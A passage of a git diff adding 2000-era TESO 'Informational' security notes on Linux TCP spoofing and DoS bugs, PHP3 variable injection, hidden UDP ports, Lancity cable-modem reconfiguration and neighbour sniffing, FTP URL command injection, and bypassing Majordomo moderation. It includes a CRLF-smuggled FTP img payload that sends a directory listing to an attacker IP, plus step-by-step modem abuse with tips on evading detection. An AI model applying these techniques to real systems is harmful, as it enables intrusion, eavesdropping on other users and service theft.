| 45 | we want, however nameservers such as BIND decompress the packet before doing | ||
| 46 | anything, such as caching, so we can just use this if we send the packet. | ||
| 47 | |||
| 48 | Such a compressed domain name will reassemble to a correct domain name for all | ||
| 49 | BIND versions below 9.x.x, and for resolver libraries such as the one that | ||
| 50 | comes with glibc. For BIND 9.x.x and up this behavior can be partly limited | ||
| 51 | by setting a global maximum compression pointer limitation. I haven't looked | ||
| 52 | very thoroughly through the decompression routine, since it is kinda huge | ||
| 53 | (about 250 lines), but I think the default limit is big enough to make use | ||
| 54 | of this too, even in BIND 9.x.x nameservers and up. | ||
| 55 | |||
| 56 | =============================================================================== | ||
| 57 | |||
diff --git a/informationals/teso-i0013.txt b/informationals/teso-i0013.txt new file mode 100644 index 0000000..b7a1710 --- /dev/null +++ b/informationals/teso-i0013.txt | |||
| @@ -0,0 +1,88 @@ | |||
| 1 | 0013 2000/02/17 Linux blind TCP spoofing methods overview | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Linux blind TCP spoofing methods overview | ||
| 8 | Date .................: 2000/02/17 21:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: Linux 2.0.x/2.2.x TCP stack | ||
| 12 | Type of entity .......: implementation | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: medium | ||
| 15 | Found by .............: various people (NAI, nergal, stealth) | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | There are several blind TCP spoofing methods known for the used Linux 2.0.x and | ||
| 20 | 2.2.x kernel series. By blind TCP spoofing you can arbitrarily set the source | ||
| 21 | IP of a remote TCP connection and hence exploit IP based authorization | ||
| 22 | schemes and/or bypass access control lists. | ||
| 23 | |||
| 24 | I'll summarize the methods known to me. | ||
| 25 | |||
| 26 | |||
| 27 | <= 2.0.35 FIN pushes data to application although state is SYN_RECEIVED | ||
| 28 | |||
| 29 | Discovered by Network Associates on 1999/03/09, this vulnerability allows you | ||
| 30 | to remotely flush the already received TCP data to the application. Normally | ||
| 31 | the system buffers all the received data and only passes them to the | ||
| 32 | application if the connection has been established. However, in Linux kernels | ||
| 33 | below and equal too 2.0.35, the kernel will send all buffered data to the | ||
| 34 | application if you terminate the not yet established TCP connection by sending | ||
| 35 | a FIN packet when it is currently in the SYN_RECEIVED state, without checking | ||
| 36 | whether the connection has already completed the three-way-handshake. There are | ||
| 37 | two public exploits available, receive.c and lin35.c (by myself), but | ||
| 38 | exploitation is trivial. This vulnerability can especially well abused for non | ||
| 39 | interactive protocols such as FTP or SMTP. | ||
| 40 | |||
| 41 | |||
| 42 | <= 2.0.37 Too high ACK results in a RST packet being send, detectable through | ||
| 43 | linear IP ID on victim host | ||
| 44 | |||
| 45 | While developing libnids, a network intrusion detection library, which offers | ||
| 46 | a easy interface to TCP streams in the network, nergal ported the Linux 2.0.37 | ||
| 47 | TCP/IP stack into userland. While doing this he audited the code and found this | ||
| 48 | vulnerability. He posted his results to the Bugtraq Mailing List on 1999/07/31. | ||
| 49 | To be exact, there are two small bugs that add up to a relevant vulnerability: | ||
| 50 | One lies in the Linux 2.0.37 kernel implementation of the ACK number | ||
| 51 | verification routine. Linux 2.0.37 kernels and older kernels will send out RST | ||
| 52 | datagrams if the acknowledgement number received is higher then the one | ||
| 53 | assigned to the connection, but will behave quiet if the number is less or | ||
| 54 | equal to the correct number. Once the connection is in the ESTABLISHED state | ||
| 55 | this behavior changes to that no packet is generated on a too high | ||
| 56 | acknowledgement number. This way one can easily find the correct ISN number | ||
| 57 | through a binary search in the search space when the attacker is able to tell | ||
| 58 | whether a packet was send or not. Linux kernels use sequential IP ID fields, | ||
| 59 | which can be abused to indicate whether a host sends packets (ID increases) or | ||
| 60 | not (ID is constant). Through constantly pinging the victim and monitoring the | ||
| 61 | IP ID increasing either by one (just our ping reply) or by two (our ping reply | ||
| 62 | plus the RST packet) one can easily do the search and find the correct ISN. | ||
| 63 | A public exploit is available from nergal himself and was attached to his | ||
| 64 | original Bugtraq posting. Note that the host must be really idle to do this | ||
| 65 | search, which can take up to three dozens seconds. | ||
| 66 | |||
| 67 | |||
| 68 | <= 2.2.12 TCP Sequence numbers are predictable on similar TCP states | ||
| 69 | |||
| 70 | In September 1999 stealth discovered that Linux 2.2.x kernels behaved different | ||
| 71 | in their ISN selection if the TCP connection perimeters (port, seq, IP) were | ||
| 72 | alike: If two connections are similar in their parameters, having the same | ||
| 73 | ports and equal ISN's the remote Linux system will assign a similar Initial | ||
| 74 | Sequence Number to the connection. As it was later discussed on the Linux | ||
| 75 | kernel mailing list this resulted from two bugs within the Linux kernel and an | ||
| 76 | invalid use of the hash function (MD4). | ||
| 77 | While all kernels below and equal to 2.2.12 kernels do have this vulnerability | ||
| 78 | it doesn't even seem to matter whether the TCP SYN cookie functionality is | ||
| 79 | enabled or not. To exploit this you create two TCP connections, one from the | ||
| 80 | spoofed IP and one from a sniffable IP. The trick is to assign the same source | ||
| 81 | and destination ports as well as the same Initial Sequence Number to the SYN | ||
| 82 | packets. The ISN assigned by the victim computer to the two new connections | ||
| 83 | will differ only by a few thousands, so range prediction is easily possible. | ||
| 84 | An exploit is available in the TESO Advisory about this topic, called | ||
| 85 | blindSpoof.cc, written by stealth. | ||
| 86 | |||
| 87 | =============================================================================== | ||
| 88 | |||
diff --git a/informationals/teso-i0014.txt b/informationals/teso-i0014.txt new file mode 100644 index 0000000..aae1243 --- /dev/null +++ b/informationals/teso-i0014.txt | |||
| @@ -0,0 +1,114 @@ | |||
| 1 | 0014 2000/02/18 Linux remote DoS overview | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Linux remote DoS overview | ||
| 8 | Date .................: 2000/02/18 21:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: Linux 1.2.x/2.0.x/2.2.x TCP/IP stack | ||
| 12 | Type of entity .......: implementation | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: medium | ||
| 15 | Found by .............: various people (klepto, humble, horizon) | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | There are numerous denial of service vulnerabilities in almost every operating | ||
| 20 | system in use today. However due to it's broad use Linux has been a focal point | ||
| 21 | of interest to search for such vulnerabilities. The results are a number of | ||
| 22 | remote denial of service attacks found in the kernel in the past three years. | ||
| 23 | While there are a lot of variations to this attacks that work around some | ||
| 24 | patches in other operating systems here is a list of all remotely exploitable | ||
| 25 | denial of service attacks in the Linux operating systems. | ||
| 26 | |||
| 27 | Please feel free to correct me or make additions. | ||
| 28 | |||
| 29 | |||
| 30 | <= 2.0.26 Ping of Death | ||
| 31 | |||
| 32 | Linux kernels below or equal version 2.0.26 fail to handle oversized IP | ||
| 33 | packets, which are send in multiple fragments. This attack has been well known | ||
| 34 | and can be exploited as simple as running the "ping" command with certain | ||
| 35 | flags. Also several other programs to exploit this vulnerability have been | ||
| 36 | written such as ssping.c by vallah. The vulnerability takes place if IP packets | ||
| 37 | with a size beyond 2^16 bytes are send to the remote host. The results vary | ||
| 38 | from a complete kernel crash to disabled IP functionality. | ||
| 39 | |||
| 40 | |||
| 41 | <= 2.0.31 IP fragment overlap bug | ||
| 42 | |||
| 43 | This severe bug and first of it's class, followed by many variations was | ||
| 44 | discovered by klepto sometime before 1997/11/03 and is based on a bug in the | ||
| 45 | Linux kernel IP refragmentation routine. In this routine the kernel reassembles | ||
| 46 | all received IP fragments back to one linear data block. While it does some | ||
| 47 | basic sanity checks it fails to check for a situation which is unlikely to ever | ||
| 48 | happen in normal network conditions. This situation results in way too much | ||
| 49 | data (negative integer overflow then casted to unsigned int) copied by the | ||
| 50 | kernel, resulting in a system crash or reboot. A public exploit called | ||
| 51 | teardrop.c written by route is available. | ||
| 52 | |||
| 53 | |||
| 54 | <= 2.0.35 off by one IP header (nestea.c) | ||
| 55 | |||
| 56 | While the teardrop vulnerability was unique and quickly being recognized as a | ||
| 57 | real threat a fix was developed quickly. There were however a lot of parameters | ||
| 58 | to modify in the teardrop sources and people started to play with various | ||
| 59 | values resulting in a new teardrop variation called nestea. This exploits a | ||
| 60 | similar bug in the IP refragmentation code of the Linux kernel. The public | ||
| 61 | exploit is called nestea.c and is written by humble 1998/04/16. | ||
| 62 | |||
| 63 | |||
| 64 | 2.0.36 (possibly others) unknown (?) | ||
| 65 | |||
| 66 | There exist a remote denial of service attack which effectively disables any | ||
| 67 | IP communication and works with lots of packets send to the victim host. No | ||
| 68 | further information is known, but it has been successfully used on the CCCamp | ||
| 69 | hacker deathmatch by the ADM team to disable team TESO's network functionality. | ||
| 70 | Evidence is pretty strong on this. | ||
| 71 | |||
| 72 | |||
| 73 | 2.1.89 - 2.2.3 zero length fragment bug | ||
| 74 | |||
| 75 | This vulnerability within the Linux kernels has been found by horizon on | ||
| 76 | 1999/03/24. The bug allows an attacker to remotely cripple the IP stack of the | ||
| 77 | Linux kernel by filling a kernel-internal list of pending IP fragments, which | ||
| 78 | wait for reassembly. While filling this list alone doesn't affect the IP stack | ||
| 79 | very much there is a implementation bug that allows the attacker to create a | ||
| 80 | IP fragment list entry that is "stranded": the Linux kernel will never free it | ||
| 81 | anymore. The list is limited to 4096 entries hence creating that many entries | ||
| 82 | will result in completely disabled IP functionality for that computer. | ||
| 83 | The actual exploitation requires an attacker to send three packets per created | ||
| 84 | entry. The first packet is a fragment at offset zero with a defined length (x) | ||
| 85 | and the IP More Fragments flag set. The second packet is a zero length fragment | ||
| 86 | at offset zero, where the IP header length is equal to the IP total length and | ||
| 87 | the IP More Fragments flag is set too. The third packet is a fragment at offset | ||
| 88 | x (length of first fragment data) without having IP More Fragments flag set. | ||
| 89 | This creates one stranded fragment. A public exploit called sesquipedalian.c is | ||
| 90 | available. | ||
| 91 | |||
| 92 | |||
| 93 | <= 2.2.9 bogus IP options | ||
| 94 | |||
| 95 | All Linux kernels up to and including 2.2.9 have a implementation bug of the IP | ||
| 96 | options parsing. When an IP packet with bogus IP options is experienced the | ||
| 97 | Linux kernel erroneously releases the allocated memory two times, which causes | ||
| 98 | memory corruption and under worst circumstances system crashes (kernel panics). | ||
| 99 | There is a public exploit linux-icmp.c, which sends partly random packets | ||
| 100 | resulting in a small percentage of invalid packets that will trigger this | ||
| 101 | vulnerability. However, a public exploit which exploits the vulnerability in an | ||
| 102 | exact way is not available. The vulnerability was made public around 1999/06/01. | ||
| 103 | |||
| 104 | |||
| 105 | 2.2.x (possibly others) unknown, cause kernel hung (?) | ||
| 106 | |||
| 107 | There is a remotely exploitable denial of service vulnerability in the latest | ||
| 108 | Linux 2.2.x systems. Evidence is strong that TESO's webserver as well as two | ||
| 109 | other TESO related boxes have been taken down with this some month ago. | ||
| 110 | However, there are no further informations on this. | ||
| 111 | |||
| 112 | |||
| 113 | =============================================================================== | ||
| 114 | |||
diff --git a/informationals/teso-i0015.txt b/informationals/teso-i0015.txt new file mode 100644 index 0000000..e3ed9d9 --- /dev/null +++ b/informationals/teso-i0015.txt | |||
| @@ -0,0 +1,45 @@ | |||
| 1 | 0015 2000/02/19 Possible security weakness in implementation of PHP3 scripts | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: set values for PHP variables from URL handler | ||
| 8 | Date .................: 2000/01/19 00:01 | ||
| 9 | Author ...............: hendy | ||
| 10 | Publicity level ......: unknown? | ||
| 11 | Affected .............: PHP3 scripting engine, possibly other scripting | ||
| 12 | languages | ||
| 13 | Type of entity .......: PHP(3) | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: hendy | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | In PHP it is possible to supply 'external' variables via HTTP POST or GET | ||
| 20 | methods which is useful for html-forms or something. the weakness in this | ||
| 21 | implementation is that anybody can easily set values for variables. | ||
| 22 | for example you can request | ||
| 23 | |||
| 24 | http://teso.scene.at/index.php3?foo=bar | ||
| 25 | |||
| 26 | within the PHP script index.php3 there will be the variable $foo with value | ||
| 27 | bar. this should be no real problem, because usually coders initialize | ||
| 28 | variables in the program if they first use it. but there are some exceptions | ||
| 29 | where (lazy?) coders often do | ||
| 30 | |||
| 31 | while(bleh) | ||
| 32 | { | ||
| 33 | $foo = $foo . $bar; | ||
| 34 | ... | ||
| 35 | } | ||
| 36 | |||
| 37 | so you could insert code into the variable $foo now. such loops are for example | ||
| 38 | used for dynamically making mysql query code, you can insert your own code | ||
| 39 | then, exploiting the backend database. | ||
| 40 | |||
| 41 | there is one point which is still very difficult: whats the name of the | ||
| 42 | variable(s) used, and for what. i dont have a solution for that, sorry. brute | ||
| 43 | force and a bit brain is the best solution IMHO ;) | ||
| 44 | |||
| 45 | =============================================================================== | ||
diff --git a/informationals/teso-i0016.txt b/informationals/teso-i0016.txt new file mode 100644 index 0000000..d233b81 --- /dev/null +++ b/informationals/teso-i0016.txt | |||
| @@ -0,0 +1,47 @@ | |||
| 1 | 0016 2000/02/23 Trick to hide UDP ports, trick to discover this | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Trick to hide UDP ports, trick to discover this | ||
| 8 | Date .................: 2000/02/23 18:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: unknown | ||
| 11 | Affected .............: UDP/IP stack | ||
| 12 | Type of entity .......: implementation | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: scut | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | Many hacking tools operate as an UDP daemon, which listens on a UDP port for | ||
| 20 | messages. Usually this open UDP ports are easily discovered through a simple | ||
| 21 | UDP port scan. However, most hackers try to avoid detection by using a high | ||
| 22 | port number which won't be scanned usually. | ||
| 23 | |||
| 24 | There is a better method of hiding UDP ports, by copying the behaviour of a | ||
| 25 | closed UDP port: Just send a ICMP Port Unreachable packet each time a packet | ||
| 26 | is received on the port. To do this you have to call an ICMP send routine | ||
| 27 | directly after you have received an UDP packet. This ICMP send routine has to | ||
| 28 | craft a Unreachable packet similar to the one the system would create and send | ||
| 29 | it back to the source IP of the received UDP packet. | ||
| 30 | |||
| 31 | While this looks very stealthy it has a really cool flaw which is easy to | ||
| 32 | oversee. Every IP packet, hence the ICMP packet too has to have an IP ID, | ||
| 33 | which is linear on most systems. If you just fill in a random one in the ICMP | ||
| 34 | packet you generate, your port can still be detected. To do this one will | ||
| 35 | sequentially scan all UDP ports and collect all received ICMP unreachable | ||
| 36 | packets. Then your artificial ICMP packets will be those which don't match | ||
| 37 | into the mostly linear IP ID's of the other ICMP packets. | ||
| 38 | |||
| 39 | To avoid detection completely on a system whose kernel generates linear IP ID's | ||
| 40 | you have to aquire the current IP ID before sending a bogus ICMP packet. This | ||
| 41 | can be discovered remotely too, if you get the ID by sending a packet to a UDP | ||
| 42 | port yourself and watch the IP ID in the ICMP unreachable packet send back to | ||
| 43 | you: An IP ID increment value of two instead of one will be observed. To do | ||
| 44 | this right a direct access to the current IP ID is required. | ||
| 45 | |||
| 46 | =============================================================================== | ||
| 47 | |||
diff --git a/informationals/teso-i0017.txt b/informationals/teso-i0017.txt new file mode 100644 index 0000000..40c621a --- /dev/null +++ b/informationals/teso-i0017.txt | |||
| @@ -0,0 +1,195 @@ | |||
| 1 | 0017 2000/02/25 Information on how to exploit Lancity cablemodems | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Cablemodems from Lancity are funny. | ||
| 8 | Date .................: 2000/02/25 00:00 | ||
| 9 | Author ...............: zap | ||
| 10 | Publicity level ......: unknown | ||
| 11 | Affected .............: LCPet10, probably the whole product-family | ||
| 12 | Type of entity .......: | ||
| 13 | Type of discovery ....: | ||
| 14 | Severity/Importance ..: medium, since not usable by script-kiddies | ||
| 15 | Found by .............: zap | ||
| 16 | |||
| 17 | Prelude ======================================================================= | ||
| 18 | |||
| 19 | Lancity Cablemodems are very popular amongst cablenet-providers. | ||
| 20 | At least in Austria they are used almost everywhere. | ||
| 21 | |||
| 22 | When I started investigating the ugly thing under my desk I found it very hard | ||
| 23 | to gain ANY information about these modems, nowadays sold by Nortel Networks. | ||
| 24 | |||
| 25 | I've been in my town's cablenet for about a year which is operated by not very | ||
| 26 | competent persons, so this information might not be of any or limited use | ||
| 27 | in professionally administrated environments. | ||
| 28 | |||
| 29 | Basics ======================================================================== | ||
| 30 | |||
| 31 | The modem uses the very primitive "Internet Boot Protocol" (RFC951, bootpd(8)) | ||
| 32 | for gaining basic network information like IP-address, netmask, bootserver and | ||
| 33 | so on. | ||
| 34 | |||
| 35 | From the bootserver it downloads it's configuration-file (RFC1533) via TFTP | ||
| 36 | (RFC783, tftp(1), tftpd(8)) which contains a MD5-digest generated from a | ||
| 37 | 64-byte key. It might also download a upgrade-file after that. | ||
| 38 | |||
| 39 | This generally happens on power-up, although I have found my pet reconfiguring | ||
| 40 | itself after a while occasionally. | ||
| 41 | |||
| 42 | The configuration-file contains information about Tx/Rx-frequencies, bandwidth, | ||
| 43 | SNMP-manager-IP's, client-IP's/MAC's, SNMP-community-names and so on. | ||
| 44 | |||
| 45 | After the modem is up & running it accepts SNMP-commands from IP's listed as | ||
| 46 | managers. | ||
| 47 | |||
| 48 | Let's party ... | ||
| 49 | |||
| 50 | 1. SNMP-managing your modem =================================================== | ||
| 51 | |||
| 52 | Since the SNMP used doesn't use another authentication than the IP-address and | ||
| 53 | the SNMP-community-name (which is often something like 'private'), it's easy | ||
| 54 | to modify and read some interesting values, where most of them are related to | ||
| 55 | filters. Some networks allow IP only so it's not possible to use other | ||
| 56 | protocols such as IPX (lots of games) - this behaviour can be changed. | ||
| 57 | |||
| 58 | Note that it's generally a good idea to disconnect the modem from the rest of | ||
| 59 | the net while doing this because the manager is very often a Windows-box which | ||
| 60 | are known to start crying upon a IP-conflict - causing a perceived IP-conflict | ||
| 61 | would be like calling your provider and telling him that you're having fun with | ||
| 62 | your modem. | ||
| 63 | |||
| 64 | However if you're sure nothing will happen you can also change the settings | ||
| 65 | of other modems. | ||
| 66 | |||
| 67 | Finding a manager-IP is quite easy (at least in my case, I'm not sure if it's | ||
| 68 | the same everywhere), just watch the network-traffic: If there is some host | ||
| 69 | which is periodically pinging modems it is a manager. | ||
| 70 | Use it's IP (and eventually MAC) to SN-manage your modem. | ||
| 71 | |||
| 72 | IMHO this should work in most of the cases, let's get to something | ||
| 73 | really interesting: | ||
| 74 | |||
| 75 | 2. Configuring your modem from ground-up ====================================== | ||
| 76 | |||
| 77 | As I said, the configuration-files contains a MD5-digest. | ||
| 78 | I have found some providers using the default-key that comes with the lc-modems | ||
| 79 | (including my provider), so I assume that this is a fact (let me know if I'm | ||
| 80 | wrong). I have tried to change my modem's key once and I didn't succeed - | ||
| 81 | maybe it ain't possible at all? (not likely) | ||
| 82 | |||
| 83 | If you're able to produce a valid config-file for your modem you can do magic | ||
| 84 | things like expanding your modem's bandwidth to 10mbit, increasing your net- | ||
| 85 | work priority and so on. | ||
| 86 | |||
| 87 | Let's assume you've got your modems "secret" key for now. | ||
| 88 | |||
| 89 | You'll need a config-file (no matter if cleartext or binary, since you can | ||
| 90 | decode the binaries) used in your network. | ||
| 91 | |||
| 92 | Attempt to tftp to the manager and request files like 1.cfg, 1.md5, test.md5 | ||
| 93 | and so on; Be creative. | ||
| 94 | The file-naming depends on your provider, but they most likely use some | ||
| 95 | file-name which is somehow related to your ip, your name, your modem's ip or | ||
| 96 | something. You don't actually need _your_ configuration, any would do. | ||
| 97 | Some also run quite braindead TFTP-daemons, try to request ../autoexec.bat | ||
| 98 | for example - if this works you might be able to retrieve other useful | ||
| 99 | information (as for example the non-standard key!). | ||
| 100 | |||
| 101 | Another way would be to try sniffing TFTP-requests from your or other modems | ||
| 102 | to find out filenames, try unplugging the network-side while your modem is | ||
| 103 | booting (check the leds) and see if it sends the request to your side. | ||
| 104 | |||
| 105 | If your modem requests a file like '212.md5' chances are big that you'll be | ||
| 106 | able to request '212.cfg' from the manager's tftpd (although you don't | ||
| 107 | necessarily need the cleartext-file). | ||
| 108 | |||
| 109 | Once you got the needed information, download the modem's update-file from the | ||
| 110 | manager (if mentioned in the cfg) via TFTP, build a valid config-file, encode it | ||
| 111 | and try to feed it to your modem: | ||
| 112 | |||
| 113 | Configure a bootpd-server (see bootpd(8)), edit your bootptab (see bootptab(5)), | ||
| 114 | set up your tftpd and copy the needed files there. | ||
| 115 | |||
| 116 | The bootptab-entry for my modem looked like this: | ||
| 117 | |||
| 118 | mypet:ht=ether:ha=0000CA066166:bf=mypet.md5:ip=10.10.0.15:sm=255.0.0.0:to=3600:sa=10.0.0.58 | ||
| 119 | |||
| 120 | ha: ethernet-address, you'll get this by watching the network-traffic | ||
| 121 | bf: md5-encoded bootfile | ||
| 122 | ip: your modem's ip (use the ip your provider gave your modem!!) | ||
| 123 | sm: subnet-mask | ||
| 124 | to: timeout | ||
| 125 | sa: tftp-server to be used (your box!) | ||
| 126 | |||
| 127 | I noticed that my modem always prepended the bootfile-name with a '/', so the | ||
| 128 | tftpd-server didn't serve the file the modem wanted, however a small hack to | ||
| 129 | tftpd made this work. | ||
| 130 | |||
| 131 | Once you get this running (watch the LEDs) you've won. You can modify the | ||
| 132 | modem's behaviour to your wishes. | ||
| 133 | |||
| 134 | Once again, DON'T CHANGE your modem's or your ip-address. Even if you've got | ||
| 135 | dumb administrators they will catch you someday (I can tell from experience). | ||
| 136 | Another good idea is NOT to open your modem (=breaking the seal) cause even | ||
| 137 | if they get suspicious and want the modem back they won't be able to prove that | ||
| 138 | you've manipulated the modem. | ||
| 139 | |||
| 140 | Pretty wild, but let's push it a little further... | ||
| 141 | |||
| 142 | 3. Making your modem half-promicious ========================================== | ||
| 143 | |||
| 144 | This one is quite tricky. | ||
| 145 | It's very important that your modem forwards any data with any MAC&IP-address | ||
| 146 | from your side to the network - this can be easily done by reconfiguring your | ||
| 147 | modem (set MaxNodes > 1, ClientEnetAddr & ClientIpAddr to all 0's). | ||
| 148 | I might have used a special sniff-configuration where the gateway and my box | ||
| 149 | were the only allowed clients - I can't clearly remember this, you'll have to | ||
| 150 | try both variations. | ||
| 151 | |||
| 152 | Ok, this is how it's done: | ||
| 153 | |||
| 154 | - Power-off the modem | ||
| 155 | |||
| 156 | - Start sending some data (I think I used ICMP-pings) with the *SAME* MAC | ||
| 157 | and IP as the gateway (or the host you want to sniff) has | ||
| 158 | |||
| 159 | - Power-on the modem | ||
| 160 | |||
| 161 | - Configure it as described in 2. | ||
| 162 | |||
| 163 | - Stop sending data after a while | ||
| 164 | |||
| 165 | I remember that the timing was very vital to perform this correctly! If it | ||
| 166 | works you'll immediately see LOTS of network-traffic. | ||
| 167 | |||
| 168 | My theory on how this works: | ||
| 169 | The modem communicates with a so-called Head-End-Controller (read the Lancity- | ||
| 170 | docs) and it tells the controller which IP and MAC (I think the MAC is | ||
| 171 | essential) it's client(s) has. The controller routes all the stuff for this MAC | ||
| 172 | to your segment, where your modem will again route it thankfully to you. | ||
| 173 | |||
| 174 | This is why I call it "half-promicious" - you'll only get the stuff that other | ||
| 175 | clients send to the gateway, not the other direction. | ||
| 176 | However one way of the traffic is enough to sniff. Simply patch tcpdump a | ||
| 177 | little to log anything you've ever wanted to know about your neighbours. | ||
| 178 | |||
| 179 | In a earlier state of investigation I found out that sending faked ARP-queries | ||
| 180 | (you, with the same MAC & IP as the gateway, want to know the MAC of some dummy | ||
| 181 | host) made the modem route stuff on the cable destinating to the gateway | ||
| 182 | to you. The disadvantage is that you'll only get stuff which is on your segment | ||
| 183 | only and this might be very little interesting data. | ||
| 184 | |||
| 185 | Appendix ====================================================================== | ||
| 186 | |||
| 187 | This document might be slightly inaccurate, but it all worked for me. | ||
| 188 | I'm very curious about feedback, corrections and clarifications. | ||
| 189 | The needed files (cfg-file-en/decoder, snmp-vars-documentation, general lcpet- | ||
| 190 | documentation, patched tftpd, default-key, sample-cfg's etc.) should be | ||
| 191 | available as teso-lancity-x.x.tar.gz in teso's internal file-area. | ||
| 192 | |||
| 193 | Have fun. | ||
| 194 | |||
| 195 | =============================================================================== | ||
diff --git a/informationals/teso-i0018.txt b/informationals/teso-i0018.txt new file mode 100644 index 0000000..61fcb6b --- /dev/null +++ b/informationals/teso-i0018.txt | |||
| @@ -0,0 +1,74 @@ | |||
| 1 | 0018 2000/03/11 Exploiting FTP URL parsing within web browsers | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Exploiting FTP URL parsing within web browsers | ||
| 8 | Date .................: 2000/03/11 19:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: Web browsers which parse FTP URLs in HTML tags | ||
| 12 | Type of entity .......: implementation | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: bugtraq readers | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | Common web browsers such as Netscape Navigator and Microsoft Internet Explorer | ||
| 20 | have the ability to download files using the FTP file transfer protocol. It is | ||
| 21 | also possible to use an FTP URL as source address for binary files such as | ||
| 22 | images or other objects included within a HTML file. | ||
| 23 | |||
| 24 | However, the URL encoding scheme allows one to use encoded characters within | ||
| 25 | the URL, such as "%20" which means the character '\x20', which is a space. All | ||
| 26 | characters are allowed, no filtering takes place. | ||
| 27 | |||
| 28 | Therefore it's possible to use the FTP protocol command separator character | ||
| 29 | sequence which happens to be (CR, LF) too. This way arbitrary commands can be | ||
| 30 | executed on the FTP server the URL uses. | ||
| 31 | |||
| 32 | Example: | ||
| 33 | |||
| 34 | <img src="ftp://ftp.cdrom.com/foobar.gif%0d%0aHELP"> | ||
| 35 | |||
| 36 | This URL within the "src" parameter is translated by the browser (Netscape | ||
| 37 | Navigator in this case) to: | ||
| 38 | |||
| 39 | USER anonymous | ||
| 40 | PASS mozilla@ | ||
| 41 | REST 0 | ||
| 42 | SYST | ||
| 43 | PASV | ||
| 44 | TYPE I | ||
| 45 | SIZE /foobar.gif | ||
| 46 | HELP | ||
| 47 | |||
| 48 | The SIZE command uses the user supplied filename, which happens to be | ||
| 49 | "/foobar.gif\x0d\x0aHELP" and appends a CR,LF sequence to it, resulting in an | ||
| 50 | extra FTP command "HELP" being executed. | ||
| 51 | |||
| 52 | We can exploit this in several ways. One way would be to launch a denial of | ||
| 53 | service attack using this technique. To do this one would inject a few of this | ||
| 54 | modified FTP URLs into a high traffic web site which has lots of visitors. The | ||
| 55 | URLs would contain PORT commands to create a connection to another site and | ||
| 56 | then transfer a big file from the server to it. | ||
| 57 | |||
| 58 | In a similar way we can exploit IP based trust relationships. Given the | ||
| 59 | situation that user "joe" from company A uses an anonymous company internal ftp | ||
| 60 | server "private" to access his files. We know his email client is able to read | ||
| 61 | HTML emails, then we could inject a link such as: | ||
| 62 | |||
| 63 | <img lowsrc="http://blabla.com/transparent.gif" | ||
| 64 | src="ftp://private/foobar.gif%0d%0aPORT%20123,124,125,126,10,0%0d%0aNLST"> | ||
| 65 | |||
| 66 | Where 123.124.125.126 is our IP with a listening TCP socket on port 2560 | ||
| 67 | (10 * 256 + 0). We would receive a listing of the files in the "/" directory | ||
| 68 | once "joe" reads this mail. Since the "/foobar.gif" doesn't exist on "private" | ||
| 69 | his email client would use the "lowsrc" parameter, which can be a 1x1 pixel | ||
| 70 | dummy image to avoid detection. Also the whole URL can be encoded for | ||
| 71 | further obfuscation. | ||
| 72 | |||
| 73 | =============================================================================== | ||
| 74 | |||
diff --git a/informationals/teso-i0019.txt b/informationals/teso-i0019.txt new file mode 100644 index 0000000..9ce06b9 --- /dev/null +++ b/informationals/teso-i0019.txt | |||
| @@ -0,0 +1,34 @@ | |||
| 1 | 0019 2000/03/21 Majordomo include inconveniences | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Majordomo include inconveniences | ||
| 8 | Date .................: 2000/03/21 19:26 | ||
| 9 | Author ...............: typo | ||
| 10 | Publicity level ......: well known | ||
| 11 | Affected .............: Mailing Lists | ||
| 12 | Type of entity .......: implementation | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: medium | ||
| 15 | Found by .............: everyone? | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | Most people that use Majordomo with the rules imposed by the resend script | ||
| 20 | use another, supposed to be secret, MTA include for the real outgoing mails | ||
| 21 | instead of a dedicated bulk mailer. | ||
| 22 | |||
| 23 | But if you know the name of the real include you can simply bypass all | ||
| 24 | rules that resend enforces. | ||
| 25 | |||
| 26 | Lets take a reallife example and look at some headers: | ||
| 27 | |||
| 28 | Received: (from majordomo@localhost) by kxxxxxxaxxe.org (8.9.3/8.9.3) | ||
| 29 | id QAA21181 for linuxde-outgoing; Tue, 21 Mar 2000 16:30:36 +0100 | ||
| 30 | |||
| 31 | the real name is linuxde-outgoing.. mails sent there can be of | ||
| 32 | arbitary size, and bypass moderation, headers, footers, banned words,... | ||
